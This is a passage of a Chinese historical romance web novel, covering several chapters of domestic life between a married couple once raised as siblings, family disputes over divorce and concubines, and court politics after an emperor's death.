丫鬟低声道:“夫人请了皇觉寺的大和尚来消灾祈福,是老太太也同意的。” 许清妙不解:“这是为何?” 丫鬟闭嘴不语,“女婢不清楚,少夫人还是亲自问二夫人吧。” 许清妙没进屋,站在院里等了一会,直到二夫人贾氏慢悠悠走过来。 “三娘,什么风把你吹过来了?进这边屋里说。” 许清妙跟着贾氏进了侧屋,俩人在桌旁坐定,她才开口问道:“二婶这是在做什么呀?” 贾氏惯来神经大条,直言道:“这不是觉得有些不对劲嘛!” 许清妙侧目,追问道:“怎么不对劲了?” 贾氏喝了口茶,絮絮道:“前儿四娘和离回家了,这才几日,小五也吵着要和离,这不是中邪了吗?哪家郎君没有妻妾的,就大伯那再正经不过的人了那年不也带了个美妾回来?” “二婶,不兴编排爹哦。”公爹大伯那确实除了那死了的妾再没其他妾室了。 贾氏忙打了打嘴,“哎,那说你二叔,你二叔在外面做官十几年,我跟在身边吧,不还是纳了两房妾,四丫头还是妾生的呢,我有说什么吗?还不是日子过得好好的。” “胡家那大郎确实过分,四娘要和离也就和离了,可小五这丫头跟风似的,也吵着要和离,那林姑爷也就是娶了房平妻,她就气不过了。她也不想想平妻有身孕了,难道还会为了她休了不成?” 许清妙默默听着。 “我看她呀,就是不愿意一个人留在云田,巴不得和离了来京里再嫁人了。” 许清妙连忙推了推贾氏,“二婶可不能乱说,五妹可没这想法。” 她心底默默想着:即便五妹真这么想的,那也不能这么大咧咧说出来呀。 这二婶还是原来的二伯娘,一点没变,心大。 “哼,这丫头我自己生的我还能不知道她想什么?这给谁当正妻不是如此,不高兴了管教管教妾室就行了,何必跟丈夫撕破脸,闹得自己难过。” 许清妙知道她是没法说动二婶的,只能说:“二婶,不是所有人能像你这般豁达的,受了气就会难过很久,你总不想五妹郁郁寡欢吧?而且回京也是好事呀。” 贾氏歪着眼瞧她,笑道:“你以为我看不开,不让她回来呀?那不用多心,我巴不得女儿不嫁人跟在身前伺候呢。” 不嫁人不成老姑娘了,但比起郁郁而终,好像也不坏。 “那二叔有说怎么安排吗?今早哥哥说让二弟去云田一趟,三弟当着值走不开,二弟正好有铺子在云田可以去一趟。” 贾氏笑道:“那敢情好,让二郎将和离书带过去,将小五带回来就成了,你二叔那里不用理他,他左右拉不下脸来管,这种事老爷子做主就行,昨日我就去问过老爷子了,他点头了的。” 好吧,这二婶抱怨归抱怨,动作还真快。 许清妙不由好笑,指了指屋里:“那二婶既然心里明镜似的,干嘛还弄这些?” 贾氏两手作揖道:“老太太信驱邪呀,我当然也得信一信,没坏处只有好处的事情干嘛不做?” 许清妙竖起拇指:“不愧是二婶。” 第40章 第40章 轩窗外,落日一点如红豆。 酣睡至黄昏,许清妙方伸腰懒起,转头瞥见枕侧,安稳放置了一夜的铜鎏金珐琅小匣。 她伸出手将它拿过来,搁在姜黄色的绣被上,低头轻拧小铜锁将它打开,入目便是那张澄心堂写有字迹的白纸。 她好奇这首催妆诗良久,几经搁置,如今终于将它拿出。 白皙手指轻轻捏起光滑坚韧的纸张,指尖一拨开,便见白纸上几行黑字赫然入目: “金玉良缘,风月追陪。 花车缓缓,欲将眉黛留郎描。 厚爱如风,缠绵共赴白首约。” 这是哥哥的笔迹,落纸云烟,情丝涌动。 许清妙捧着小小一张纸看了又看,轻轻抿着的唇角再压不住。 屋外适时传来鹊枝的声音:“翰林,您回来了,少夫人在屋里呢。” 许恪的声音清清淡淡:“睡醒了吗?” “应是醒了。” 少倾,内室的门被轻轻推开,许清妙撩开床幔探出头看去,她脸色红润如应季的芙蓉花,眸光闪闪的望向他。 青年青袍黑靴腰间玉带轻束,写意风流,正衔着浅笑看向她。 浮着淡淡青筋的手上提着一只檀木漆雕的盒子,款步走近。 “要不要起身过来看看?” 他声音平静,瞧不出是何惊喜,只将那盒子轻轻放在了榻前小几上。 许清妙看了眼身上的短衣短裙,还算整齐,掀了床幔坐在床沿。 “是什么呢?” 她的声音还带着刚睡醒的松软,黑发披肩,秀气白嫩的脚丫子勾上绣鞋往里蹭。 绣鞋口浅,几个来回也没穿好,她刚要弯下腰去弄,便见他蹲在了身前。 许恪净白的手捡起一只绣鞋,熟练地给她套上,另一只也同样穿好。 他蹲下来的身体也不矮,眼睛正对着她的唇边,艳红的唇瓣轻启,正对着他轻声笑语。 他却耳鸣了一般,一句也没听见,直到许清妙又问了一遍:“哥哥,怎么发呆了?” 许恪回神,暗道自己又一次看着清妙走神了,“没事,你先去打开看看喜不喜欢,我先去洗漱。” 他爱干净,每回从外面回来都要先洗漱,说完便起身进了净房。 许清妙熟悉他的习性,待他进去了,便直奔榻上,围着那盒子,看了一番,盖着了从外面看不出是什么。 她便将盒盖揭开,里面竟是一盏小巧晶莹的琉璃宫灯,灯芯位置是小小一块红烛,烛上衔着白白的棉芯,显然是可以点燃的。 许清妙惊讶不已,要知道京城里什么稀奇古怪的物件都有,有从西域远道而来的宝石、皮毛,也有各国流行的饰品趣玩,她那梳妆台上就堆了许多,想来也是这三年他时常送的。 她小心翼翼地将琉璃灯提出来,竟然发现它还会发出清脆的响声,仔细看是底部坠了细细的琉璃穗子,轻轻晃动带起声响。 许恪洗漱完出来,见她喜欢心道随安果然没骗人。 · 今日从宫中回府,他拐道去了一趟大理寺,只因有人找到他跟前求他救人。 来人是大理寺狱卒陈进,为李素风李医正求情,原来李素风因直言小皇帝病因,触怒先帝已然入狱月余。 陈进还替李素风传话,让他收好那张风寒药方。 许恪不由想起书房里那张李素风手写的药方,他看过,并没看出异常,不知为何会被特意提起。 他与李素风应是有人情往来的,既然知道了,他决定去见李素风一面。 况且,先帝只将李素风抓起来,并没有给他定罪。 他带着随安进了大理寺临时关押犯人的狱所,李素风被单独关在监舍中。 灰白发须的老人神态安详,见到他走来,才露出惊讶。 忙起身行礼:“许参政怎么亲自到这里来了,可是有什么要事?” 许恪了然,恐怕求救是陈进自作主张,李素风并不知晓。 许恪抱拳行了一个常礼,朗声解释:“李医正的朋友陈进告诉我的,我并无其他要事,只是见见你。” 李素风点点头,缓缓靠坐在墙角下,知道不是他的秘密被发现,便无所谓道:“陈进多事,我关在这里有吃有喝的死不了,新皇登基总会给我个定论的。” 许恪暗道,要不是陈进来找他,小皇帝哪里能知道有这么个太医正在狱中呢,其他辅政大臣更不会多事。 许恪另起话题,“李医正还让陈进提醒我收好那风寒药方,可是有什么特殊意义,还请李医正直言以告知。” 李素风暗叹陈进这兔崽子多事,给他惹麻烦,这要骗人就得有一整套的说辞才能敷衍得眼前聪慧过人的许恪。 “这方子是个古方,适用于尊夫人这样的体弱女子,写于你了就是你的,你好好留着自然是有大用的。” 李素风解释含糊敷衍,说完便问他:“许参知可有法子救老夫我出狱?” 他本不在乎出不出狱的,但为了转移许恪注意力,只得将话往这赶。 许恪自然瞧得清楚,知道他不愿说,于是顺着他说道:“自然有法子,不过时候未到。” 他不好开口去让小皇帝下旨改掉先皇的口谕,但今天三朝元老英国公左英提了一个建议,他建议小皇帝大赦天下,除十恶不赦的犯人外,死刑改流放,流放改免罪,普通犯人直接无罪释放。 韩烈和陈荣郡王都没意见,幼帝登基这确实是一件安定民心的好建议。 李素风见他胸有成竹,一时接不下去,他本就没多想活了,实在表现不出多急切。 只聊胜于无的哦了一声。 许恪越发觉得这李素风不对劲,但又没法逼迫他开口,只能就此打住,与他说了几句客套话告辞。 · 从大理寺出来,路过西市,来往胡人色目人比比皆是,他想着事情自然没有多看。 但随安看得眼花缭乱,直到见到这盏琉璃灯,惊呼道:“翰林,看那盏灯,少夫人肯定喜欢。” 许恪闻声顺着他的视线看去,就见到了这盏流光溢彩的琉璃灯。 “你确定她会喜欢?” 许恪这些日子也了解了,这三年,他时常给她送些有趣之物,自他回京以来都没再送了,一是他现在还真说不准清妙喜欢哪些玩意,二是清妙那里已经有很多送过的物件了,他要是随意送重复了,总觉得不好解释。 倒忘了,其实清妙也跟他一样,这些东西都是送给这三年中的许清妙的,并不是现在的她,只要他送的都会是第一份。 想通透这些,他倒觉得这灯她定会喜欢了。 光线渐渐褪去的内室,他亲眼见到了她有多喜欢这盏灯。 用火折子小心点燃红烛,很快就引燃,烛光照着琉璃色彩斑斓,亮晶晶的灯提在手里舍不得放开。 “喜欢吗?”他还是问道。 许清妙满意地颔首:“喜欢,哥哥送的东西我都喜欢。” 许恪脱下衣服更换,宽肩下脊背肌肉线条流畅,紧致的皮肤在烛光下竟映出温润的光泽。 过于赏心悦目,许清妙一时看傻眼,不知是灯太美,还是哥哥太诱人。 许恪对此有所察觉,但不打算戳破,妹妹脸皮薄,喜欢看便让她看。 夫妻之间,他不介意。 许恪换好轻便的衣袍,撩开床幔,见到一只精致的小匣子敞口摆在被面上。 显然是他回来前,清妙正在看。 或许是眼神太好,匣子里的东西他一目了然。 许清妙瞥见他望着床内发愣,猛然看见自己装着小东西的匣子正大敞着。 手里拎着琉璃灯,她也舍不得放下,只得急急地向他扑了过来。 “哥哥,你不许看。” 许恪果然转开了视线,伸出手稳稳地接住她。 许清妙懊恼不已,匣子里的薄纱肚兜,兔耳毛小领子、软皮小皮绳哪一样都羞于见人呀。 她为什么会有这些东西呀? 急中生智,她将琉璃灯塞进许恪手心,将他推着背对着拔步床。 确认他不会回头后,飞快地将盒子关上藏好,然后捡起床上那张催妆诗,递到许恪身前。 “哥哥,你可以看这个,忘记刚才看到的那些。” 许恪一手提灯躬身看着她,一手搂过她的腰。 昏暗处,灯火一簇,照出纸上熟悉的字迹。 “风月追陪,厚爱如风。” “妙妙都看懂了吗?” 许恪的声音略低,喉结滚动,清描淡写地问她。 许清妙不明所以,自然点头:“懂得,哥哥许我厚爱陪伴,共度白首。” 许恪低头没忍住还是亲了亲她,纠正:“往事可追,妙妙,我那时候想的是怎么没有早点发现你的身世,白白错过好些年。” 许清妙仰头捂住他的嘴,实在没想到他会这样想,五妹妹明明说过,他们是以有契约精神的合作关系开始的。 “哥哥胡说,我及笄就嫁与你,哪来的白白错过好些年?” 许恪轻笑不语,此中深意她明明都知晓。 若从小知道,那他会勤快的回家,会在她被三叔三婶养在老家时多关心她,更不会让她有机会与胡家定亲。 她会比现在更信任他,粘着他。 “没错过,可过去三年我们都没记忆,妙妙遗憾吗?” 许清妙坚定摇头,“我虽然也想知道发生了什么,但能嫁给哥哥就不算遗憾,哥哥觉得呢?” 许恪颔首:“妙妙不遗憾就行。” 至于他还是挺遗憾少了三年美好的时光,他没有参与感,即便知道是曾经的自己,却也懊恼遗憾。 40-50 第41章 第41章 夕阳已悄悄退下,月亮迟迟未露面。 昏暗不明的院子里苍翠的梧桐树下,摆着两把矮凳,鹊枝拉着怜星坐在一起纳凉。 “鹊枝姐姐,真不要去门口候着吗?少夫人晚膳还没用呢。” 鹊枝手指竖在嘴唇上,做了个噤声的动作,凑近怜星耳语道:“待会翰林自然会传膳,现在不要去打扰,免得讨主子不快。” 虽然许家上下都知道许恪又升官了,但老爷子有令,为避免太过张扬,家仆依旧称他翰林,事实上他也确实还兼着翰林院的差事。 怜星捂着嘴点头,看了眼纱窗上的倒影,屋里该是点了一盏不大的灯,正好照在两人身上,翰林搂着少夫人低头说着什么,你来我往亲热不已。 鹊枝抬手蒙住怜星的双眼,打趣道:“还看?好奇也不能看,小小年纪动了春心仔细把你配给小厮。” 怜星猛摇头,低声保证道:“好姐姐,我不好奇了,我才十三岁呢,不要嫁给小厮,我还能伺候少夫人好多年。” 鹊枝但笑不语,只警告道:“我晓得你们这个年纪最是懵懂,翰林又是万里挑一的才俊,京城不知道多少夫人小姐惦记,你可千万别跟着五迷三道的。” 怜星小脑袋狂点,又怯怯地问鹊枝:“那姐姐你呢?你在少夫人身边伺候很久了吧?” 树下凉风习习,正是乘凉说闲话的好档口。 鹊枝有些兴致便开口道:“我在你这个年纪,碰到翰林头都不敢抬,见了礼就避在一旁。” 鹊枝仰着头回想:“我被老太太安排在三小姐院里,那时候三小姐还在上族学,我就跟着一旁伺候,有好长一段时间都能见到翰林呢,那时候翰林早早的中了秀才,每日下了学都会检查公子小姐们的功课。三小姐那时候可怕翰林了。” 怜星听得津津有味,不由问道:“翰林小时候很可怕吗?” 鹊枝闷笑,摇头:“那倒没有,翰林小时候跟现在差不多,只是三小姐不喜课堂枯燥,听课不认真功课自然不好,她怕翰林罚她抄大字。” “那翰林罚了吗?” 鹊枝摇摇头:“一次都没,每次翰林要罚三小姐了,三小姐就能有法子避开。三小姐总能找到些很蹩脚的借口,但回回都管用。” 怜星一脸开心:“那说明,翰林从小就对我们少夫人与众不同。” 鹊枝推了推她,低声道:“别乱说,那时候可是兄妹,被人听到了仔细把你卖了。” 院里丫鬟窃窃私语,屋里的许清妙却好半响也说不出一句完整的话来。 纱窗上人影晃动,许清妙轻轻推开许恪,气喘吁吁地躺倒在了软榻上。 “灯不玩了?” 许恪一只手提着灯,躬身跪在她身旁,一只手捡了她的发丝整理顺当,弄完也学她侧着身子躺在榻上,姿态肆意放松地看着她。 都说灯下看美人,此时的许清妙身上少了羞怯青涩,更添些许柔媚。 许恪坐起身来伸长手,将琉璃灯搁在了榻旁的书案上,又倾身将人搂进了怀里。 “先用晚膳,晚点再陪你睡?” 许清妙总觉得他这句陪你别有深意,但没有多想,许恪已经拿了外袍给她披上,牵着她的手往外走。 “天色暗了,让厨房将饭菜端过来在外间用可好?” 许清妙颔首:“好。” 门外鹊枝、怜星已经候着了,身后还备着一大铜壶热水。 许恪扶着许清妙落座,很自然地看到了那只熟悉的铜壶。 鹊枝忙示意怜星将铜壶拿走,不想,许恪淡淡的声音响起:“将热水提进净房备着。” 怜星不敢有异,照做,鹊枝看了眼自家小姐,只见许清妙低垂着眼帘耳朵发烫。 鹊枝连忙拉着放完水的怜星一起退了出去。 留下俩人在灯火阑珊中独处。 大雍朝的晚膳都比较早,太阳还没落山,一家人就已经围坐一起用膳了。 许清妙肚子是饿的,可手却不听使唤,抓着筷子没动,就这么直直看着许恪。 烛火映照下,他的五官变得柔和,动作斯文地给她布菜,然后停筷静静地看着她,无声笑道:“别再看了,待会菜凉了。” “哥哥,我用完饭还想去书房看书,下午睡太久还不困,你先睡好吗?” 她才不会说,她已经发现了他接下来的打算呢。 他昨日几乎没怎么睡,今儿必须得好好休息。 许恪淡定用饭,没有拒绝她,只是等到她收拾好,准备喊鹊枝与她一起去时,许恪接过了她手里的灯笼。 “我陪你去,走动下利于消化。” 许清妙不疑有他。 回廊不太宽,她与他并肩走,时不时手会擦过他的,第三次擦上去被他精准地握住。 “天黑路窄,我牵着你。” 许清妙看看廊上每隔几步挂着的灯笼,哪里黑了,起码照亮了前路。 许恪没有看她,只微微勾着的嘴角上扬。 他推开书房的门,里面的陈设与云田老家的一样,黑漆木制大书架,宽敞的两座书桌,还有方便休憩的软榻。 只不过这张榻格外的宽大舒适,上面还铺着丝质薄被和藕粉色软枕,看起来她果真如鹊枝所说,经常陪哥哥在书房办公。大概就是哥哥读书办公,她在旁边睡觉,跟云田家里养的狸猫差不多吧。 “想看什么书,你去那一架自己找?还是我帮你找?”许恪提了灯走在前头,给桌上的红烛点上,漆黑的书房瞬间亮堂起来。 许清妙跟在后面缓缓摇头:“我自己找吧,哥哥你真不累吗?要不还是先回屋睡吧。” 她实在觉得他可能为了陪她,才硬扛着在这看书。 许恪侧目凝视着她,漆黑的眼睛里倒映出烛光与她的脸,“不累,你先找书。” 许清妙哦了一声应下,转身往大书架中间一层拿书,这边书房的书比云田的还多,书架很高很结实。 身后传来关门声,她回头望去,许恪正将书房门关紧后向她走来。 书房里变得更安静,连外面的虫鸣鸟叫声都听不见了。 许清妙转身继续找书,这一层全是她喜欢看的各类游记传记、风物民俗,志怪趣文,她正要抽出一本,手指却被握住。 许清妙抬眼看去,许恪站在她身侧正居高临下地看着她。 “清妙是要看这本吗?” 许清妙颔首,就见他握着她的手指将书抽了出来,“去那边看,光线亮。” 他牵着她往软榻走去,那书桌上的红烛正对着软榻,能将榻上一切照的清楚。 确实适合看书。 许清妙依着他的动作坐下,刚想翻开书页,就发现哥哥也跟着坐下了。 “我不看,陪你。”他靠着她这侧躺下,枕在那藕粉色的软枕上,漆黑的发铺散开来,神态慵懒。 看起来确实是打算陪她看书,自己休息。 许清妙颔首,行吧,以前他看书她在旁休息,今天换下角色而已。 她随手翻开这本《屏山起居录》,是一位号称屏山居士的前朝名士所写的回忆录,看了几页,发现书里面有大量的夫妻居家生活场景描写,屏山居士与妻子生活得很有情趣。 不知不觉,她看了眼半闭着眼的许恪,他骨节分明的手正捏着她的手指把玩。 她自然地捏了捏他的手,轻声问道:“要睡我腿上吗?” 说完才想起,这不正是刚刚在书里看到的情节吗? 雪夜清冷,屏山居士靠坐在炕上,任由他的夫人睡在他腿上,柴火很暖,俩人家长里短,温馨而寻常。 许恪眼皮轻撩,向她看了过来,清清淡淡的眸子里蓄着星星点点的笑意。 “怕夫人你腿酸,要不你躺我腿上如何?” 许清妙捏了他手心一下,嗔道:“你看过这本书?” 许恪颔首,解释道:“这是我那位同窗送的,在得知我高中状元却未曾有过通房后,强硬塞给我的。” 也正是因为在他的记忆里,这本书看完还没多久,所以才记得里面的情节,用余屏的话说娇妻美妾在怀,红袖添香才是人间美事。 余屏以为他读书读傻了才不沾女色,硬是让他看这书,还言之凿凿说他看完肯定想有位温柔的夫人相伴左右。 “那位说他家夫人衣服首饰有几十大箱的同窗?” 许恪颔首默认。 许清妙恍然道:“他可真替你操心呀,那哥哥现在想如书中这位屏山先生这样生活吗?” 许恪见她完全没有看书的兴趣了,便将书从她手中抽走,拉过她趴在自己胸口,双臂紧扣。 “不想。” 许清妙软软地随他动作,扬起脸看他:“为何呢?” 许恪低低的嗓音说道:“因为他在后面的几十章里娶了两房平妻、三房侍妾,每一位女郎都与他恩爱有加,自然能写出上百章的山居杂记了。” 许清妙:“” “哥哥,你真扫兴,我本想自己看会书让你好好休息的。” 许恪捏了捏她的腰侧细肉,逗得她笑个不停。 “我不想一个人休息。” 许清妙抓着他的手不放,点破道:“我陪在一旁你根本不会好好休息,尽折腾我。” 许恪捂着眼睛轻笑,“那你怎么猜不到我跟你来书房也是准备折腾你的” 话落,他翻身将她压在了榻上,抬起下颌亲了上去,细吻沿着颌骨蔓延直至耳后。 许清妙抓紧了薄被,瞪圆的眼睛渐渐起了雾,掩盖住所有的不可置信。 宽的不可思议的软榻,绣枕、薄被,恐怕过去的他们常在这里胡闹。 “哥哥,你没让外人进书房吧?” 许恪整个手掌托住她的后腰,停下动作看她,眼底晦暗不明,沉沉道:“没有,随安都没进来过,你这会还有心思管这些?” 当然得管了,要是让有经验的人进来,一看到这摆设就知道他们俩在这书房里闹腾过什么了,也亏得她刚才毫无察觉,再回想他一进屋就关门的举动。 果然,早有预谋,估计早就在书房发现了他们那段没有记忆的荒唐。 如今不过是重新划下崭新的一页。 屋外的月亮不知道何时出来的,也不知道何时半遮住脸的,总不会是被他们给羞得吧? 反正她是羞得没脸见人了。 许清妙是被那条薄被裹着抱出的书房,她一路装昏睡,骗过了进来送水的鹊枝。 等到再次被许恪抱进净房后,她才“悠悠转醒”,急忙抢过他拿着帕子。 “哥哥我自个来,你赶紧收拾你自己。” 她怕他故伎重演,她还能清晰地记得昨晚在这净房里发生的一切。 也顾不得害臊,她舀了水自个清理干净,裹着外袍就想走。 许恪正泡在浴桶里,出声拦下了她:“先别走,帮哥哥揉揉肩膀,刚刚可能抓到了。” 许清妙系紧外袍,不解地回头看向他:“怎么可能抓到了?” 许恪不紧不慢地解释:“你抓着我肩膀太紧了,可能扯到了,没事等会我活动下就好了。” 许清妙觉得哥哥又在耍心眼子了,而且是明目张胆的,她不能接招,再来还睡不睡了。 “那你洗完回屋,我给你按按,现在不行。” 说完她逃也似的跑了。 第42章 第42章 夜深人静,许清妙侧着身子看向终于睡着的许恪。 今夜的月亮应是满月,银辉撒落床前,她用眼睛描绘他眉目的轮廓,紧闭着双眼也掩盖不住他浑身的书卷气。 就是这样一张脸一个人,也会心甘情愿地近乎补偿的取悦她。 她忽然意识到:许恪今晚的表现是在为他昨晚的放纵肆意道歉。 他不说,却做到了极致。 许恪的睡相很好,睡得很沉,她缓缓伸出手指,细细临摹着他凸起的喉骨,他也一无所知。 她收回手,怕惊扰了他的好梦。 许清妙勾起嘴角,从来不知晓原来喜欢一个人是这样,欣喜而克制。 她将手塞进他的掌心,被他无意识的握住,靠在他的肩头蹭了蹭,也缓缓地沉入梦乡。 · 翌日,许清妙是被鹊枝轻声唤醒的。 “小姐快醒醒,夫人让您去前院正厅一趟。” 许清妙迷糊转醒,不解地看向鹊枝:“可是有什么要事?” 鹊枝低声说道:“奴婢也不是很清楚,听说是胜州的王姨娘来了。” 许清妙听完一愣,赶忙起身梳洗换衣服,等收拾妥当一刻钟都过去了。 “夫人说了,让您别急。” 许清妙暗道哪能不急呢? 那胜州王姨娘如今可是她名义上的娘咧! 怎么突然就来京城要见她呢? “鹊枝不知王姨娘是我过继后的母亲吗?” 鹊枝不以为意地回道:“知道呀,但那不就是一个名头吗?小姐您都没去过胜州,与那王姨娘不熟,翰林早说了不用费心与她们打交道。” 鹊枝手脚麻利地为她簪上钿头金钗,再配上金镶玛瑙耳坠,简单而不失华贵的妆饰,将她灵秀可爱的气质衬得更加精致华丽。 “小姐,您先吃几口垫垫肚子。” 许清妙简单吃了几口,就带着鹊枝匆匆赶到了前院。 她刚到外隔间便听见,一道笑意绵绵的声音从门内传来:“前儿夜里我是想了一夜,总觉得既然来了京城就得与你们打声招呼,您说是吗?” “谁说不是呢?你怎么说也是三娘名义上的母亲,理该常来往。”王氏的话不咸不淡。 许清妙却觉得王氏态度奇怪,这王姨娘是王氏堂叔的女儿,怎么与王氏关系并不怎么亲热呢。 对于许家而言,王姨娘是一表三千里的远方亲戚,她之所以被许恪选中成了许清妙的娘家,就是因为她远嫁在胜州,相隔千里,人情往来都无从查起。 如今这当摆设的娘家人找上门了,许清妙不由忐忑。 “少夫人请进。” 许清妙迈进正厅,第一眼便见到了这位远在胜州的王姨娘,样貌清秀体态丰腴,一张与王氏有些相似的瓜子脸,脸上和气带笑。 王姨娘见了她,不由走近,拉着她的手腕亲热道:“三娘好久不见,长得更好看了。” 许清妙一时间不知道如何叫她为好,无措间看了眼王氏,王氏轻笑道:“知道你们母女情深,有什么话就尽管说吧。” 王姨娘松开了许清妙的手,笑道:“不是真母女也能装一装嘛,毕竟有名分的。” 许清妙心里有底了,开口问候道:“王姨娘,近来可安好?” 王姨娘脸色不变,还是笑着应下:“好,都好,近日陪你那两不争气的哥哥来京里参加会试,这俩人他们正忙着准备考试,我特意来向你们报个信,等他们考完了,我们一家人来给老爷子老太太请安。” 许清妙差不多听出来意了,大概是为了那俩没见过面的表哥科考的事情来的。 她刚反应过来,王氏已经端着茶随意说道:“怎么考前不来找恪儿指点一二呢?这考完了还如何帮得上忙呢?” 许清妙颔首,是这个道理,她看向王姨娘,见她不慌不忙解释:“那两书呆子只知道闷头读书,哪里肯来麻烦大郎呢,还不是我这个当娘的才为他们操心。” 王氏笑了笑,示意她喝茶,倒没再多说什么难听的话,只问了问家中情况。 许清妙坐在一旁听了一会,没觉出什么不寻常的,坐了好一会,王氏留她吃饭,王姨娘却推辞了。 “我这回来就是来打声招呼,等改日正式上门拜访,再留下叨扰。*” 王氏也不勉强,将人送至院子门口就是了。 许清妙一直都默默跟着也不多话,她实在搞不太清这些亲戚关系,也不愿意去管。 送完人,许清妙跟着王氏回后院。 “三娘觉得这王姨娘如何?”王氏走在她侧前方,随意地问她。 许清妙想了想回道:“随和,客客气气的。” 王氏嗤笑道:“你这丫头是真傻啊,人家明显就是来讨好处的,你成了她名义上的女儿,总得向名义上的女婿要点好处呗,她那人成日里笑眯眯的,心里算得比谁都精,大概是想让大郎帮她那俩儿子谋个好前程。” 许清妙也猜到些王姨娘的来意,大雍朝科举及第后虽能入仕为官,但这官职也是有讲究的,有门路的人家自然能得到好的官职。 “这会让哥哥为难吧?” 王氏拉着她手,笑道:“你倒是会担心你哥哥,这点小事根本为难不了他,我讨厌的是她当初拿了足够的好处如今还不知足妄图试探。” 许清妙不解道:“就不能当正常亲戚来往吗?” 王氏拍她手叹道:“谈何容易呀,虽说她是我家那边的,但我就不喜欢她,心思不纯手段了得。当初大郎真是胆大竟然找到她来瞒天过海。” 许清妙不吭声了,这话她不适合应声。 左右她听哥哥的,不与她们来往就是。 婆媳俩难得一起在院子里走了走,临到分开,王氏很不合时宜地提醒她:“记得你们的半年之约,我等着抱孙子呢。” 许清妙无奈地看着王氏翩翩走远。 王氏如今不逼许恪纳妾,也不催她吃药,就只是时不时提醒一句,算是给足了时间。 许清妙算了算时间,离林大夫开药已经两个多月了,再有两周就该复诊了。 她这两个月的月事倒变正常了,也不再腹痛难忍,想来这药还是有效果的。 只是能不能有孕,谁也不知道,要是再过两个月她还是没孕呢? · 肃穆威严的太极殿偏殿,四大辅臣与各部主事齐聚商讨政事,小皇帝在前殿守灵。 左右分别放置两排太师椅,许恪坐在了韩烈的下手位,正对着陈荣郡王。 掌笔太监将需要商议的帖子都捧了上来,放在一张红木长桌上。 这些请示的帖子早就被筛选过了,不重要的都分给四人各自处理了,只有这些难下定论的才被留了下来。 “这第一件要议的就是眼下的会试和殿试,先帝留有口谕,科考不因他的丧事而停下,那我们这些担了责任的自然要将这事办妥了。” 韩烈的话不紧不慢,伸手指了指桌上,小太监便将那道上书的帖子递给了他。 “右相所言极是,科考关系重大,我等不敢儿戏,只是这主考官的人选始终没能定下。”礼部尚书带头回话。 韩烈将帖子递给了许恪,许恪接过打开看了看。 “你们推的三位主考官,没有一个能一致服众的,那就换下一位,如今陛下年幼总不能我们中谁一人说了算,辛尚书你说呢?” 礼部尚书辛晖恭敬回道:“我们自然不敢一人说了算,但这事还请右相您慧眼识人选一个堪担大任之人出来?” 历来科举选拔都是各派拉拢人才的重要途径,每一年的主考官至关重要,往年有皇帝亲命,如今各方都想参一脚,自然没这么痛快。 “让许恪去办吧,不知英国公和郡王是否有异议?” 左英瞥了眼身旁的几人,摇了摇头:“老夫没意见,许参知年轻有为深受皇上信任,自然担得起这个重任。” 陈荣郡王应声道:“这事我没意见,选文官我不管,你们自己看着办,选武官那我就能说道说道。” 他这话一出,殿内氛围顿时缓解,没那么紧绷。 许恪本人并没开口,只听他们你来我往的讨论。 最后,韩烈问他:“不懈可有为难之处?” 许恪起身回道:“自然全力以赴,不负众望。” 这事对他来讲只有好处没有坏处。 接下来,左英提议的大赦令也被批准了,自然陈荣郡王随意提出的二十四人陪葬皇陵之事被否了。 毕竟陪葬皇陵,陪的是内侍,但如今小皇帝还小离不开内侍,又有小皇帝亲自说了不愿如此,陈荣郡王冷哼了一声也算认同了。 事情一件件过,许恪基本没怎么说话,大多是听他们讨论或争论,毕竟满堂都是可以当他爹的同僚,他并不想成为党派争论的靶子。 帖子都批示完了,众人也可以散了,许恪正准备去见见小皇帝,却被人再次堵在了殿门外。 刑部尚书宽林一张老脸笑看着他。 许恪那日回去后,仔细想了想宽林和韩烈的态度,他能感觉到是宽林一味在靠近韩烈,而韩烈却始终没表态。 这让他有些看不明白,他这位老师不是这样不干脆的人,除非另有目的。 但不论他们什么目的,这妾他是不可能要的,不过是如何选择拒绝的方式而已。 既然俩人态度都很模糊,那他倒不如明确一把,不和他们掺乎这些。 宽林还未开口,许恪便果断坦言:“宽尚书请三思而后行,国丧期间别说纳妾连婚嫁都停了,您真要这般明目张胆地劝我纳妾?更是到处传言我纳妾,您是想害我还是害您自己呢?” 本来这三月守孝的事情,在私底下就惯常有人阳奉阴违,达官贵人私下里纳妾不是没有,但如宽林这般上赶着就奇了怪了。 宽林脸上五颜六色,很是精彩,最后怒笑道:“倒是我得罪了,这事你不乐意我还能勉强了不成,你也不用说得这般严重,我宽林掌着刑部还能不守规矩不成?” 说完,他便冷着脸走了。 许恪心底微哂:这是恼羞成怒翻脸了。 第43章 第43章 白幡如瀑立在灵堂两侧,乌黑色的梓木棺椁装敛着一代帝王,巨大的奠字前两行烛泪,小皇帝陈奕身穿斩缞孝服跪于灵前。 堂中宗室、外戚、宫人哀声痛哭,形容悲切,先帝嫔妃尽在其列。 先帝的宫妃不满十位,子嗣单薄,除了小皇帝和已经伏诛的皇长子,仅剩三位公主,最大的刚及笄最小的尚在襁褓。 许恪悄然立在堂外,透过层层烛火看向陈奕瘦弱的背影,如孤雁般离索。 一个为他遮风挡雨带来无上权力的人已离他远去。 许恪始终没有惊动众人,站立片刻后转身离开,紫黑色的官服下摆随风摆动,他踏着漫天晚霞走出了宫门。 而在他身后,高耸的阁楼上,有一道不为人知的视线一直紧紧地盯着他,直到他完全消失不见。 “翁主,求您快下去吧,那人都已经走远了。” 侍女战战兢兢地四处打量,生怕自家主子的身影被人发现。 站在阁楼上的女子一身素服,挽着妇人髻,正面瞧去赫然是卫长公主与迟将军所生的女儿迟娉婷。 三年前的京城人人皆知,心高气傲的翁主看上了清冷金贵的新科状元,主动提及亲事,却被状元郎无情拒绝,转头各自婚嫁再无联系。 却无人知晓,这位痴情翁主从来没忘记过初见状元郎时的惊心动魄,再见他时已然芳心暗许。 “真没想到我还能再见到他,也不枉费我不远千里地回来一趟。” 侍女根本不敢接主子的话,只想扶着她尽快地离开这令人心惊胆战的地方。 翁主迟娉婷从胜州连夜赶回京悼念先帝,进宫第一件事却不是去先帝灵前哭灵,反而躲上阁楼偷窥许恪。 简直大逆不道。 但多年的不甘似潮汐反复汹涌澎湃,迟娉婷无法自己。 “去派人打听下,他可有纳妾生子?” 侍女低头应下,不敢反对,生怕在这里惹怒这位疯癫的主子。 夏热不知何时渐退,时有秋风扫过。 许清妙穿了一身浅灰长裙,慵懒地依在窗边喝茶赏景,一抬头便瞧见许恪踩着四方步从半月门外进来。 她恍然觉悟,竟然已经到了晚膳时分。 “鹊枝,赶紧去将藕粉羹端来。” 